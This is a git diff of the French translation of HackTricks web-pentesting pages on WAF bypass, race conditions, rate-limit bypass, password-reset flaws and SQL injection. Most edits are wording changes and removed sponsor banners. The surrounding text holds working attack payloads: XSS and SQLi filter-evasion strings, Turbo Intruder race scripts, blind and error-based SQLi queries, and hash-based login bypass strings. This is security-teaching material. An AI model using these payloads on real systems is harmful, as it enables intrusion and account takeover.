-{% embed url="https://websec.nl/" %} - -## Bypass Nginx ACL Rules with Pathname Manipulation +## Contournement des règles ACL Nginx avec manipulation de chemin Techniques [de cette recherche](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies). @@ -34,7 +31,7 @@ Pour éviter les contournements, Nginx effectue une normalisation des chemins av ### **Flask** -| Version Nginx | **Caractères de contournement Flask** | +| Version Nginx | **Caractères de contournement Flask** | | ------------- | --------------------------------------------------------------- | | 1.22.0 | `\x85`, `\xA0` | | 1.21.6 | `\x85`, `\xA0` | @@ -54,7 +51,7 @@ Pour éviter les contournements, Nginx effectue une normalisation des chemins av ### **PHP-FPM** -Configuration FPM Nginx : +Configuration Nginx FPM : ```plaintext location = /admin.php { deny all; @@ -78,7 +75,7 @@ deny all; ### Confusion de chemin [**Dans cet article**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) il est expliqué que ModSecurity v3 (jusqu'à 3.0.12), **a mal implémenté la variable `REQUEST_FILENAME`** qui était censée contenir le chemin accédé (jusqu'au début des paramètres). Cela est dû au fait qu'il effectuait un décodage d'URL pour obtenir le chemin.\ -Par conséquent, une requête comme `http://example.com/foo%3f';alert(1);foo=` dans mod security supposera que le chemin est juste `/foo` parce que `%3f` est transformé en `?` terminant le chemin URL, mais en réalité, le chemin que le serveur recevra sera `/foo%3f';alert(1);foo=`. +Par conséquent, une requête comme `http://example.com/foo%3f';alert(1);foo=` dans mod security supposera que le chemin est juste `/foo` parce que `%3f` est transformé en `?` terminant le chemin URL, mais en réalité le chemin que le serveur recevra sera `/foo%3f';alert(1);foo=`. Les variables `REQUEST_BASENAME` et `PATH_INFO` ont également été affectées par ce bug. @@ -113,7 +110,7 @@ Les WAF ont généralement une certaine limite de longueur des requêtes à vér - D'après [**la documentation Azure**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:** -Les anciens pare-feu d'application web avec le Core Rule Set 3.1 (ou inférieur) permettent des messages plus grands que **128 Ko** en désactivant l'inspection du corps de la requête, mais ces messages ne seront pas vérifiés pour des vulnérabilités. Pour les versions plus récentes (Core Rule Set 3.2 ou plus récentes), il en va de même en désactivant la limite maximale du corps de la requête. Lorsqu'une requête dépasse la limite de taille : +Les anciens pare-feu d'application web avec le Core Rule Set 3.1 (ou inférieur) permettent des messages plus grands que **128 Ko** en désactivant l'inspection du corps de la requête, mais ces messages ne seront pas vérifiés pour des vulnérabilités. Pour les versions plus récentes (Core Rule Set 3.2 ou plus récentes), la même chose peut être faite en désactivant la limite maximale du corps de la requête. Lorsqu'une requête dépasse la limite de taille : Si **mode de prévention** : Journalise et bloque la requête.\ Si **mode de détection** : Inspecte jusqu'à la limite, ignore le reste et journalise si le `Content-Length` dépasse la limite. @@ -136,7 +133,7 @@ Jusqu'à 128 Ko. ``` ### Compatibilité Unicode -Selon l'implémentation de la normalisation Unicode (plus d'infos [ici](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), les caractères qui partagent la compatibilité Unicode peuvent être capables de contourner le WAF et de s'exécuter comme le payload prévu. Les caractères compatibles peuvent être trouvés [ici](https://www.compart.com/en/unicode). +Selon l'implémentation de la normalisation Unicode (plus d'infos [ici](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), les caractères qui partagent la compatibilité Unicode peuvent être capables de contourner le WAF et de s'exécuter comme le payload prévu. Des caractères compatibles peuvent être trouvés [ici](https://www.compart.com/en/unicode). #### Exemple ```bash @@ -161,7 +158,7 @@ Dans le post, les contournements finaux suivants sont suggérés : - AWS/Cloudfront:`docs.aws.amazon.com/?x=` - Cloudflare:`cloudflare.com/?x=` -Il est également mentionné qu'en fonction de **comment certains WAF comprennent le contexte** de l'entrée utilisateur, il pourrait être possible d'en abuser. L'exemple proposé dans le blog est qu'Akamai permettait de mettre n'importe quoi entre `/*` et `*/` (potentiellement parce que cela est couramment utilisé comme commentaires). Par conséquent, une injection SQL telle que `/*'or sleep(5)-- -*/` ne sera pas détectée et sera valide car `/*` est la chaîne de départ de l'injection et `*/` est commenté. +Il est également mentionné qu'en fonction de **comment certains WAF comprennent le contexte** de l'entrée utilisateur, il pourrait être possible d'en abuser. L'exemple proposé dans le blog est qu'Akamai permet(tait) de mettre n'importe quoi entre `/*` et `*/` (potentiellement parce que cela est couramment utilisé comme commentaires). Par conséquent, une injection SQL telle que `/*'or sleep(5)-- -*/` ne sera pas détectée et sera valide car `/*` est la chaîne de départ de l'injection et `*/` est commenté. Ces types de problèmes de contexte peuvent également être utilisés pour **abuser d'autres vulnérabilités que celle attendue** d'être exploitée par le WAF (par exemple, cela pourrait également être utilisé pour exploiter un XSS). @@ -213,8 +210,5 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri - [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g) - [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization) -
- -{% embed url="https://websec.nl/" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/race-condition.md b/src/pentesting-web/race-condition.md index 3e828198d..e9a07e07e 100644 --- a/src/pentesting-web/race-condition.md +++ b/src/pentesting-web/race-condition.md @@ -1,13 +1,5 @@ # Condition de Course -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=race-condition) pour créer et **automatiser des flux de travail** facilement grâce aux **outils communautaires les plus avancés** au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %} - {{#include ../banners/hacktricks-training.md}} > [!WARNING] @@ -26,7 +18,7 @@ Ici, vous pouvez trouver quelques techniques pour Synchroniser les Requêtes : **La préparation pour la Synchronisation du Dernier Octet** implique : -1. Envoyer les en-têtes et les données du corps sans le dernier octet sans terminer le flux. +1. Envoyer les en-têtes et les données du corps moins le dernier octet sans terminer le flux. 2. Faire une pause de 100ms après l'envoi initial. 3. Désactiver TCP_NODELAY pour utiliser l'algorithme de Nagle pour regrouper les derniers paquets. 4. Pinger pour réchauffer la connexion. @@ -35,7 +27,7 @@ L'envoi subséquent des paquets retenus devrait aboutir à leur arrivée dans un ### S'adapter à l'Architecture du Serveur -Comprendre l'architecture de la cible est crucial. Les serveurs frontaux peuvent router les requêtes différemment, affectant le timing. Le réchauffement préventif des connexions côté serveur, par le biais de requêtes sans conséquence, pourrait normaliser le timing des requêtes. +Comprendre l'architecture de la cible est crucial. Les serveurs frontaux peuvent router les requêtes différemment, affectant le timing. Le réchauffement préventif de la connexion côté serveur, à travers des requêtes sans conséquence, pourrait normaliser le timing des requêtes. #### Gestion du Verrouillage Basé sur la Session @@ -43,7 +35,7 @@ Des frameworks comme le gestionnaire de session de PHP sérialisent les requête #### Surmonter les Limites de Taux ou de Ressources -Si le réchauffement de la connexion est inefficace, déclencher intentionnellement les délais de limite de taux ou de ressources des serveurs web par un flot de requêtes fictives pourrait faciliter l'attaque à paquet unique en induisant un délai côté serveur propice aux conditions de course. +Si le réchauffement de la connexion est inefficace, déclencher intentionnellement les délais de limite de taux ou de ressources des serveurs web à travers un flot de requêtes fictives pourrait faciliter l'attaque à paquet unique en induisant un délai côté serveur propice aux conditions de course. ## Exemples d'Attaque @@ -58,9 +50,9 @@ for password in passwords: engine.queue(target.req, password, gate='race1') ``` > [!WARNING] -> Si le web ne prend pas en charge HTTP2 (uniquement HTTP1.1), utilisez `Engine.THREADED` ou `Engine.BURP` au lieu de `Engine.BURP2`. +> Si le web ne prend pas en charge HTTP2 (seulement HTTP1.1), utilisez `Engine.THREADED` ou `Engine.BURP` au lieu de `Engine.BURP2`. -- **Tubo Intruder - attaque à paquet unique HTTP2 (Plusieurs points de terminaison)** : Dans le cas où vous devez envoyer une requête à 1 point de terminaison puis plusieurs à d'autres points de terminaison pour déclencher le RCE, vous pouvez modifier le script `race-single-packet-attack.py` avec quelque chose comme : +- **Tubo Intruder - attaque à paquet unique HTTP2 (Plusieurs points de terminaison)** : Dans le cas où vous devez envoyer une requête à 1 point de terminaison et ensuite plusieurs à d'autres points de terminaison pour déclencher le RCE, vous pouvez modifier le script `race-single-packet-attack.py` avec quelque chose comme : ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, @@ -234,13 +226,13 @@ Cela signifie essentiellement qu'Apache ne considérera que 100 connexions HTTP Vous pouvez trouver quelques exemples utilisant cette technique dans le dépôt [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main). -## Raw BF +## BF brut Avant la recherche précédente, voici quelques charges utiles utilisées qui essayaient simplement d'envoyer les paquets aussi rapidement que possible pour provoquer une RC. - **Répéteur :** Consultez les exemples de la section précédente. - **Intrus :** Envoyez la **requête** à **Intrus**, définissez le **nombre de threads** à **30** dans le **menu Options** et sélectionnez comme charge utile **Null payloads** et générez **30.** -- **Turbo Intruder** +- **Turbo Intrus** ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, @@ -347,7 +339,7 @@ Selon [**cette recherche**](https://portswigger.net/research/smashing-the-state- ### États de base de données cachés / Contournement de confirmation -Si **2 écritures différentes** sont utilisées pour **ajouter** **des informations** dans une **base de données**, il y a une petite portion de temps où **seules les premières données ont été écrites** dans la base de données. Par exemple, lors de la création d'un utilisateur, le **nom d'utilisateur** et le **mot de passe** peuvent être **écrits** et **ensuite le jeton** pour confirmer le compte nouvellement créé est écrit. Cela signifie que pendant un court instant, le **jeton pour confirmer un compte est nul**. +Si **2 écritures différentes** sont utilisées pour **ajouter** **des informations** dans une **base de données**, il y a une petite portion de temps où **seules les premières données ont été écrites** dans la base de données. Par exemple, lors de la création d'un utilisateur, le **nom d'utilisateur** et le **mot de passe** peuvent être **écrits** et **ensuite le jeton** pour confirmer le compte nouvellement créé est écrit. Cela signifie que pendant un court laps de temps, le **jeton pour confirmer un compte est nul**. Par conséquent, **enregistrer un compte et envoyer plusieurs requêtes avec un jeton vide** (`token=` ou `token[]=` ou toute autre variation) pour confirmer le compte immédiatement pourrait permettre de c**onfirmer un compte** où vous ne contrôlez pas l'e-mail. @@ -355,7 +347,7 @@ Par conséquent, **enregistrer un compte et envoyer plusieurs requêtes avec un ### Contournement de 2FA -Le pseudo-code suivant est vulnérable à une condition de course car pendant un très court instant, le **2FA n'est pas appliqué** pendant que la session est créée : +Le pseudo-code suivant est vulnérable à une condition de course car pendant un très court laps de temps, le **2FA n'est pas appliqué** pendant la création de la session : ```python session['userid'] = user.userid if user.mfa_enabled: @@ -370,11 +362,11 @@ Donc, jusqu'ici, c'est juste une connexion classique avec google/linkedin/github #### Condition de course dans `authorization_code` -Le **problème** apparaît lorsque vous **l'acceptez** et qu'il envoie automatiquement un **`authorization_code`** à l'application malveillante. Ensuite, cette **application abuse d'une Condition de course dans le fournisseur de service OAUth pour générer plus d'un AT/RT** (_Authentication Token/Refresh Token_) à partir du **`authorization_code`** pour votre compte. En gros, elle va abuser du fait que vous avez accepté l'application pour accéder à vos données afin de **créer plusieurs comptes**. Ensuite, si vous **arrêtez de permettre à l'application d'accéder à vos données, une paire d'AT/RT sera supprimée, mais les autres resteront valides**. +Le **problème** apparaît lorsque vous **l'acceptez** et envoie automatiquement un **`authorization_code`** à l'application malveillante. Ensuite, cette **application abuse d'une Condition de course dans le fournisseur de service OAUth pour générer plus d'un AT/RT** (_Authentication Token/Refresh Token_) à partir du **`authorization_code`** pour votre compte. En gros, elle va abuser du fait que vous avez accepté l'application pour accéder à vos données afin de **créer plusieurs comptes**. Ensuite, si vous **arrêtez de permettre à l'application d'accéder à vos données, une paire d'AT/RT sera supprimée, mais les autres resteront valides**. #### Condition de course dans `Refresh Token` -Une fois que vous avez **obtenu un RT valide**, vous pourriez essayer de **l'abuser pour générer plusieurs AT/RT** et **même si l'utilisateur annule les autorisations** pour l'application malveillante d'accéder à ses données, **plusieurs RT resteront valides.** +Une fois que vous avez **obtenu un RT valide**, vous pourriez essayer de **l'abuser pour générer plusieurs AT/RT** et **même si l'utilisateur annule les permissions** pour l'application malveillante d'accéder à ses données, **plusieurs RT resteront valides.** ## **RC dans WebSockets** @@ -390,11 +382,3 @@ Dans [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_P - [https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) {{#include ../banners/hacktricks-training.md}} - -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=race-condition) pour créer facilement et **automatiser des flux de travail** alimentés par les outils communautaires **les plus avancés** au monde.\ -Obtenez un accès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %} diff --git a/src/pentesting-web/rate-limit-bypass.md b/src/pentesting-web/rate-limit-bypass.md index 952be3873..0b04e6f84 100644 --- a/src/pentesting-web/rate-limit-bypass.md +++ b/src/pentesting-web/rate-limit-bypass.md @@ -1,13 +1,5 @@ # Contournement de la Limite de Taux -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=rate-limit-bypass) pour créer et **automatiser des flux de travail** facilement grâce aux **outils communautaires les plus avancés** au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=rate-limit-bypass" %} - {{#include ../banners/hacktricks-training.md}} ## Techniques de contournement de la limite de taux @@ -18,7 +10,7 @@ Des tentatives devraient être faites pour effectuer des attaques par force brut ### Incorporation de Caractères Vides dans le Code ou les Paramètres -L'insertion de bytes vides comme `%00`, `%0d%0a`, `%0d`, `%0a`, `%09`, `%0C`, `%20` dans le code ou les paramètres peut être une stratégie utile. Par exemple, ajuster un paramètre à `code=1234%0a` permet d'étendre les tentatives par des variations dans l'entrée, comme l'ajout de caractères de nouvelle ligne à une adresse e-mail pour contourner les limitations de tentatives. +L'insertion de bytes vides comme `%00`, `%0d%0a`, `%0d`, `%0a`, `%09`, `%0C`, `%20` dans le code ou les paramètres peut être une stratégie utile. Par exemple, ajuster un paramètre à `code=1234%0a` permet d'étendre les tentatives à travers des variations d'entrée, comme l'ajout de caractères de nouvelle ligne à une adresse e-mail pour contourner les limitations de tentatives. ### Manipulation de l'Origine IP via les En-têtes @@ -61,11 +53,3 @@ Si le système cible applique des limites de taux sur une base par compte ou par Notez que même si une limite de taux est en place, vous devriez essayer de voir si la réponse est différente lorsque le OTP valide est envoyé. Dans [**ce post**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), le chasseur de bugs a découvert que même si une limite de taux est déclenchée après 20 tentatives infructueuses en répondant avec 401, si le valide était envoyé, une réponse 200 était reçue. {{#include ../banners/hacktricks-training.md}} - -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=rate-limit-bypass) pour construire et **automatiser des flux de travail** facilement alimentés par les **outils communautaires les plus avancés** au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=rate-limit-bypass" %} diff --git a/src/pentesting-web/reset-password.md b/src/pentesting-web/reset-password.md index 2f90a59f4..97a9bbbb3 100644 --- a/src/pentesting-web/reset-password.md +++ b/src/pentesting-web/reset-password.md @@ -2,24 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -
- -Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs ! - -**Aperçus du hacking**\ -Engagez-vous avec du contenu qui explore le frisson et les défis du hacking - -**Actualités de hacking en temps réel**\ -Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel - -**Dernières annonces**\ -Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales des plateformes - -**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui ! - ## **Fuite de jeton de réinitialisation de mot de passe via le référent** -- L'en-tête HTTP referer peut fuir le jeton de réinitialisation de mot de passe s'il est inclus dans l'URL. Cela peut se produire lorsqu'un utilisateur clique sur un lien de site tiers après avoir demandé une réinitialisation de mot de passe. +- L'en-tête HTTP referer peut divulguer le jeton de réinitialisation de mot de passe s'il est inclus dans l'URL. Cela peut se produire lorsqu'un utilisateur clique sur un lien d'un site tiers après avoir demandé une réinitialisation de mot de passe. - **Impact** : Prise de contrôle potentielle du compte via des attaques de Cross-Site Request Forgery (CSRF). - **Exploitation** : Pour vérifier si un jeton de réinitialisation de mot de passe fuit dans l'en-tête référent, **demandez une réinitialisation de mot de passe** à votre adresse e-mail et **cliquez sur le lien de réinitialisation** fourni. **Ne changez pas votre mot de passe** immédiatement. Au lieu de cela, **naviguez vers un site tiers** (comme Facebook ou Twitter) tout en **interceptant les requêtes avec Burp Suite**. Inspectez les requêtes pour voir si **l'en-tête référent contient le jeton de réinitialisation de mot de passe**, car cela pourrait exposer des informations sensibles à des tiers. - **Références** : @@ -30,7 +15,7 @@ Restez informé des nouvelles primes de bugs lancées et des mises à jour cruci ## **Empoisonnement de réinitialisation de mot de passe** - Les attaquants peuvent manipuler l'en-tête Host lors des demandes de réinitialisation de mot de passe pour pointer le lien de réinitialisation vers un site malveillant. -- **Impact** : Conduit à une prise de contrôle potentielle du compte en fuyant les jetons de réinitialisation aux attaquants. +- **Impact** : Conduit à une prise de contrôle potentielle du compte en divulguant des jetons de réinitialisation aux attaquants. - **Étapes d'atténuation** : - Validez l'en-tête Host par rapport à une liste blanche de domaines autorisés. - Utilisez des méthodes sécurisées côté serveur pour générer des URL absolues. @@ -106,7 +91,7 @@ POST /api/changepass - **Référence** : - [Prise de contrôle complète du compte via manipulation des paramètres API](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240) -## **Pas de limitation de taux : Email Bombing** +## **Pas de limitation de taux : Bombardement d'emails** - L'absence de limitation de taux sur les demandes de réinitialisation de mot de passe peut entraîner un bombardement d'emails, submergeant l'utilisateur avec des emails de réinitialisation. - **Étapes d'atténuation** : @@ -119,7 +104,7 @@ POST /api/changepass - Comprendre le modèle ou la méthode derrière la génération de jetons peut conduire à prédire ou à forcer des jetons. Quelques options : - Basé sur l'horodatage -- Basé sur l'UserID +- Basé sur l'ID utilisateur - Basé sur l'email de l'utilisateur - Basé sur le prénom et le nom - Basé sur la date de naissance @@ -138,7 +123,7 @@ uuid-insecurities.md {{#endref}} - **Étapes d'atténuation** : -- Utilisez la version 4 de GUID pour la randomisation ou mettez en œuvre des mesures de sécurité supplémentaires pour d'autres versions. +- Utilisez la version 4 de GUID pour la randomisation ou mettez en œuvre des mesures de sécurité supplémentaires pour les autres versions. - **Outils** : Utilisez [guidtool](https://github.com/intruder-io/guidtool) pour analyser et générer des GUID. ## **Manipulation de réponse : Remplacer une mauvaise réponse par une bonne** @@ -148,11 +133,11 @@ uuid-insecurities.md - Mettez en œuvre des vérifications côté serveur pour garantir l'intégrité des réponses. - Utilisez des canaux de communication sécurisés comme HTTPS pour prévenir les attaques de type homme du milieu. - **Référence** : -- [Bug critique dans un événement de bug bounty en direct](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3) +- [Bug critique lors d'un événement de bug bounty en direct](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3) ## **Utilisation de jeton expiré** -- Tester si les jetons expirés peuvent encore être utilisés pour la réinitialisation de mot de passe. +- Tester si des jetons expirés peuvent encore être utilisés pour la réinitialisation de mot de passe. - **Étapes d'atténuation** : - Mettez en œuvre des politiques strictes d'expiration des jetons et validez l'expiration des jetons côté serveur. @@ -171,7 +156,7 @@ uuid-insecurities.md ## **Invalidation de session lors de la déconnexion/réinitialisation de mot de passe** -- S'assurer que les sessions sont invalidées lorsqu'un utilisateur se déconnecte ou réinitialise son mot de passe. +- Assurer que les sessions sont invalidées lorsqu'un utilisateur se déconnecte ou réinitialise son mot de passe. - **Étapes d'atténuation** : - Mettez en œuvre une gestion appropriée des sessions, en veillant à ce que toutes les sessions soient invalidées lors de la déconnexion ou de la réinitialisation du mot de passe. @@ -185,19 +170,4 @@ uuid-insecurities.md - [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token) -
- -Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs ! - -**Aperçus de hacking**\ -Engagez-vous avec du contenu qui explore le frisson et les défis du hacking - -**Actualités de hacking en temps réel**\ -Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel - -**Dernières annonces**\ -Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales de la plateforme - -**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers aujourd'hui ! - {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/README.md b/src/pentesting-web/sql-injection/README.md index b8c8c16f5..8ee1d6c3a 100644 --- a/src/pentesting-web/sql-injection/README.md +++ b/src/pentesting-web/sql-injection/README.md @@ -2,11 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -​​​​[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. - -{% embed url="https://www.rootedcon.com/" %} ## Qu'est-ce que l'injection SQL ? @@ -29,7 +24,7 @@ Lorsqu'un site semble être **vulnérable à l'injection SQL (SQLi)** en raison ``` Ensuite, vous devez savoir comment **corriger la requête afin qu'il n'y ait pas d'erreurs**. Pour corriger la requête, vous pouvez **entrer** des données afin que la **requête précédente accepte les nouvelles données**, ou vous pouvez simplement **entrer** vos données et **ajouter un symbole de commentaire à la fin**. -_Remarque : si vous pouvez voir des messages d'erreur ou si vous pouvez repérer des différences lorsque qu'une requête fonctionne et lorsqu'elle ne fonctionne pas, cette phase sera plus facile._ +_Remarque : si vous pouvez voir des messages d'erreur ou si vous pouvez repérer des différences lorsque la requête fonctionne et lorsqu'elle ne fonctionne pas, cette phase sera plus facile._ ### **Commentaires** ```sql @@ -76,7 +71,7 @@ Cette liste de mots a été créée pour essayer de **confirmer les SQLinjection ### Confirmation par Timing -Dans certains cas, vous **ne remarquerez aucun changement** sur la page que vous testez. Par conséquent, une bonne façon de **découvrir les SQL injections aveugles** est de faire en sorte que la base de données effectue des actions qui auront un **impact sur le temps** nécessaire au chargement de la page.\ +Dans certains cas, vous **ne remarquerez aucun changement** sur la page que vous testez. Par conséquent, une bonne façon de **découvrir les SQL injections aveugles** est de faire en sorte que la base de données effectue des actions qui auront un **impact sur le temps** que la page met à charger.\ Par conséquent, nous allons concaténer dans la requête SQL une opération qui prendra beaucoup de temps à compléter : ``` MySQL (string concat and logical ops) @@ -144,7 +139,7 @@ Aussi, si vous avez accès à la sortie de la requête, vous pourriez faire en s ### Détection du nombre de colonnes -Si vous pouvez voir la sortie de la requête, c'est le meilleur moyen de l'exploiter.\ +Si vous pouvez voir la sortie de la requête, c'est la meilleure façon de l'exploiter.\ Tout d'abord, nous devons découvrir le **nombre** de **colonnes** que la **requête initiale** renvoie. Cela est dû au fait que **les deux requêtes doivent renvoyer le même nombre de colonnes**.\ Deux méthodes sont généralement utilisées à cet effet : @@ -191,20 +186,20 @@ Dans les exemples suivants, nous allons récupérer le nom de toutes les bases d ``` _Il existe une méthode différente pour découvrir ces données sur chaque base de données différente, mais la méthodologie reste toujours la même._ -## Exploitation des injections basées sur des unions cachées +## Exploiting Hidden Union Based -Lorsque la sortie d'une requête est visible, mais qu'une injection basée sur des unions semble inaccessibile, cela signifie qu'il y a une **injection basée sur des unions cachées**. Ce scénario conduit souvent à une situation d'injection aveugle. Pour transformer une injection aveugle en une injection basée sur des unions, il est nécessaire de discerner la requête d'exécution sur le backend. +Lorsque la sortie d'une requête est visible, mais qu'une injection basée sur un union semble inatteignable, cela signifie qu'il y a une **injection basée sur un union cachée**. Ce scénario conduit souvent à une situation d'injection aveugle. Pour transformer une injection aveugle en une injection basée sur un union, il est nécessaire de discerner la requête d'exécution sur le backend. Cela peut être accompli grâce à l'utilisation de techniques d'injection aveugle en parallèle avec les tables par défaut spécifiques à votre Système de Gestion de Base de Données (SGBD) cible. Pour comprendre ces tables par défaut, il est conseillé de consulter la documentation du SGBD cible. -Une fois la requête extraite, il est nécessaire d'adapter votre charge utile pour fermer en toute sécurité la requête originale. Ensuite, une requête d'union est ajoutée à votre charge utile, facilitant l'exploitation de l'injection basée sur des unions nouvellement accessible. +Une fois la requête extraite, il est nécessaire d'adapter votre payload pour fermer en toute sécurité la requête originale. Ensuite, une requête union est ajoutée à votre payload, facilitant l'exploitation de l'injection basée sur un union nouvellement accessible. Pour des informations plus complètes, consultez l'article complet disponible à [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f). -## Exploitation basée sur les erreurs +## Exploiting Error based Si pour une raison quelconque vous **ne pouvez pas** voir la **sortie** de la **requête** mais que vous pouvez **voir les messages d'erreur**, vous pouvez utiliser ces messages d'erreur pour **ex-filtrer** des données de la base de données.\ -En suivant un flux similaire à celui de l'exploitation basée sur des unions, vous pourriez réussir à vider la base de données. +En suivant un flux similaire à celui de l'exploitation basée sur un union, vous pourriez réussir à vider la base de données. ```sql (select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)) ``` @@ -217,7 +212,7 @@ Dans ce cas, vous pouvez abuser de ce comportement pour vider la base de donnée ``` ## Exploiter l'Error Blind SQLi -C'est le **même cas que précédemment** mais au lieu de distinguer entre une réponse vraie/faux de la requête, vous pouvez **distinguer entre** une **erreur** dans la requête SQL ou non (peut-être parce que le serveur HTTP plante). Par conséquent, dans ce cas, vous pouvez forcer une erreur SQL chaque fois que vous devinez correctement le caractère : +C'est le **même cas que précédemment** mais au lieu de distinguer entre une réponse vraie/faux de la requête, vous pouvez **distinguer entre** une **erreur** dans la requête SQL ou non (peut-être parce que le serveur HTTP plante). Par conséquent, dans ce cas, vous pouvez forcer une SQLerror chaque fois que vous devinez correctement le caractère : ```sql AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- - ``` @@ -259,12 +254,6 @@ Nous avons déjà discuté de toutes les façons d'exploiter une vulnérabilité Ou vous trouverez **beaucoup d'astuces concernant : MySQL, PostgreSQL, Oracle, MSSQL, SQLite et HQL dans** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) -
- -​​​​​[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. - -{% embed url="https://www.rootedcon.com/" %} - ## Contournement d'authentification Liste à essayer pour contourner la fonctionnalité de connexion : @@ -277,7 +266,7 @@ Liste à essayer pour contourner la fonctionnalité de connexion : ```sql "SELECT * FROM admin WHERE pass = '".md5($password,true)."'" ``` -Cette requête met en évidence une vulnérabilité lorsque MD5 est utilisé avec true pour la sortie brute dans les vérifications d'authentification, rendant le système susceptible à l'injection SQL. Les attaquants peuvent exploiter cela en créant des entrées qui, lorsqu'elles sont hachées, produisent des parties de commandes SQL inattendues, entraînant un accès non autorisé. +Cette requête met en évidence une vulnérabilité lorsque MD5 est utilisé avec true pour la sortie brute dans les vérifications d'authentification, rendant le système susceptible à l'injection SQL. Les attaquants peuvent exploiter cela en créant des entrées qui, lorsqu'elles sont hachées, produisent des parties de commandes SQL inattendues, conduisant à un accès non autorisé. ```sql md5("ffifdyop", true) = 'or'6�]��!r,��b� sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-! @@ -289,7 +278,7 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055' **Liste recommandée** : Vous devriez utiliser comme nom d'utilisateur chaque ligne de la liste et comme mot de passe toujours : _**Pass1234.**_\ -&#xNAN;_(Ces payloads sont également inclus dans la grande liste mentionnée au début de cette section)_ +&#xNAN;_(Ces charges utiles sont également incluses dans la grande liste mentionnée au début de cette section)_ {% file src="../../images/sqli-hashbypass.txt" %} @@ -318,7 +307,7 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/ ### Modifier le mot de passe d'un objet/utilisateur existant -Pour ce faire, vous devez essayer de **créer un nouvel objet nommé comme l'"objet maître"** (probablement **admin** dans le cas des utilisateurs) en modifiant quelque chose : +Pour ce faire, vous devez essayer de **créer un nouvel objet nommé comme le 